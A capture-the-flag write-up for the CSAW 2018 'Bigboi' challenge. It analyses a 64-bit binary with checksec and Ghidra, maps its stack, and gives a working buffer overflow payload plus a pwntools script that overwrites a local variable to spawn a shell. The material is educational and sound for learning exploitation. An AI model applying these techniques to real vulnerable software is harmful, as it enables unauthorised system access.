Csaw Bigboi

  • Date: April 18, 2025
  • Reading Time: 7 min

CSAW 2018: Bigboi Writeup

Description: A writeup for the Bigboi pwn challenge from the CSAW 2018 CTF
Date: 2025-04-18 10:00:00 -0500
Category: Nightmare
Tags: Buffer-Overflow, Nightmare, CSAW


1. Overview

“Bigboi” is a straightforward buffer overflow challenge from the CSAW 2018 CTF and marks my first dive into the Nightmare series. The objective is to exploit a buffer overflow vulnerability in a 64-bit ELF binary to overwrite a stack variable, altering the program’s flow to spawn a shell.


2. Enumeration

2.1 Binary Analysis

I started by inspecting the binary with file to gather basic info:

file ./boi

Output:

./boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1537584f3b2381e1b575a67cba5fbb87878f9711, not stripped

It’s a 64-bit ELF executable, dynamically linked, and not stripped—meaning function names and symbols are intact, which aids reverse engineering.

Next, I checked the binary’s security features using checksec:

checksec --file=boi --format=json --extended | jq .

Output:

{
  "boi": {
    "relro": "partial",
    "canary": "yes",
    "nx": "yes",
    "pie": "no",
    "clangcfi": "no",
    "safestack": "no",
    "rpath": "no",
    "runpath": "no",
    "symbols": "yes",
    "fortify_source": "no",
    "fortified": "0",
    "fortify-able": "1"
  }
}

Key protections:

  • Partial RELRO: The GOT is partially writable, but irrelevant here.
  • Canary: A stack canary guards against return address overwrites—something to watch out for.
  • NX: The stack is non-executable, ruling out stack-based shellcode.
  • No PIE: Fixed base addresses simplify offset calculations.

Running the program gave a first look at its behavior:

./boi

Output:

Are you a big boiiiii??
o_o
Fri Apr 18 08:12:13 PM BST 2025

It prompts for input and outputs the date/time, suggesting it calls /bin/date.

2.2 Decompilation

To understand the internals, I loaded the binary into Ghidra and decompiled the main function. After renaming variables for clarity, here’s the decompiled code:

undefined8 main(void)
{
  long in_FS_OFFSET;
  undefined8 buffer;
  undefined8 local_30;
  undefined4 uStack_28;
  int target;
  undefined4 local_20;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 40);
  buffer = 0;
  local_30 = 0;
  local_20 = 0;
  uStack_28 = 0;
  target = 0xdeadbeef;
  puts("Are you a big boiiiii??");
  read(0,&buffer,24);
  if (target == 0xcaf3baee) {
    run_cmd("/bin/bash");
  }
  else {
    run_cmd("/bin/date");
  }
  if (canary != *(long *)(in_FS_OFFSET + 40)) {
    __stack_chk_fail();
  }
  return 0;
}

Ghidra decompilation

Key observations:

  • Variables: A stack canary is set, followed by local variables, including an 8-byte buffer and a 4-byte target initialized to 0xdeadbeef.
  • Input: read(0, &buffer, 24) reads 24 bytes into the 8-byte buffer, causing an overflow.
  • Logic: If target equals 0xcaf3baee, it runs /bin/bash (shell!); otherwise, it runs /bin/date.
  • Canary Check: The canary is verified to detect stack corruption.

The vulnerability is a buffer overflow: 24 bytes into an 8-byte buffer lets us overwrite adjacent stack data, including target. The stack layout (approximate, based on assembly offsets) is:

Stack layout

  • rbp-0x30: buffer (8 bytes)
  • rbp-0x28: local_30 (8 bytes)
  • rbp-0x20: uStack_28 (4 bytes, with padding)
  • rbp-0x1c: target (4 bytes)
  • rbp-0x18: local_20 (4 bytes)
  • rbp-0x8: canary (8 bytes)

The read writes from rbp-0x30 to rbp-0x18 (24 bytes), covering target at rbp-0x1c (20 bytes from buffer’s start) but stopping before the canary.


3. Manual Exploitation

To exploit this, I needed to overwrite target with 0xcaf3baee without touching the canary. The offset from buffer (rbp-0x30) to target (rbp-0x1c) is 20 bytes, and target is 4 bytes.

I crafted a payload:

python3 -c 'import pwn;print(b"A"*20 + pwn.p32(0xcaf3baee))' > payload
  • 20 bytes of A: Fills buffer and local_30, reaching target.
  • p32(0xcaf3baee): Packs 0xcaf3baee in little-endian (\xee\xba\xf3\xca).

In GDB, I verified this:

gdb ./boi

Disassembled main and set a breakpoint at the target comparison:

pwndbg> disassemble main
   ...
   0x00000000004006a5 <+100>:   mov    eax,DWORD PTR [rbp-0x1c]
   0x00000000004006a8 <+103>:   cmp    eax,0xcaf3baee
   ...
pwndbg> b *(main+103)
Breakpoint 1 at 0x4006a8

Ran it with the payload:

pwndbg> r < payload

GDB breakpoint

At the breakpoint, eax held 0xcaf3baee, confirming target was overwritten. Continuing execution called /bin/bash, granting a shell.


4. Automating Exploitation

For a hands-off solution, I wrote a Python script using pwntools:

#!/usr/bin/python3

from pwn import *

context.log_level = 'ERROR'

context.binary = elf = ELF("./boi", checksec=False)
p = process()

payload = b"A"*20 + p32(0xcaf3baee)

p.sendline(payload)
p.interactive()

Running this spawned a shell reliably:

Shell output


5. Conclusion

“Bigboi” is a beginner-friendly buffer overflow challenge. The key was identifying the overflow (24 bytes into an 8-byte buffer), mapping the stack to find target at a 20-byte offset, and crafting a payload to overwrite it with 0xcaf3baee while preserving the canary. This granted a shell via /bin/bash. It’s a great intro to stack-based exploitation, emphasizing careful offset calculation and payload construction.


6. References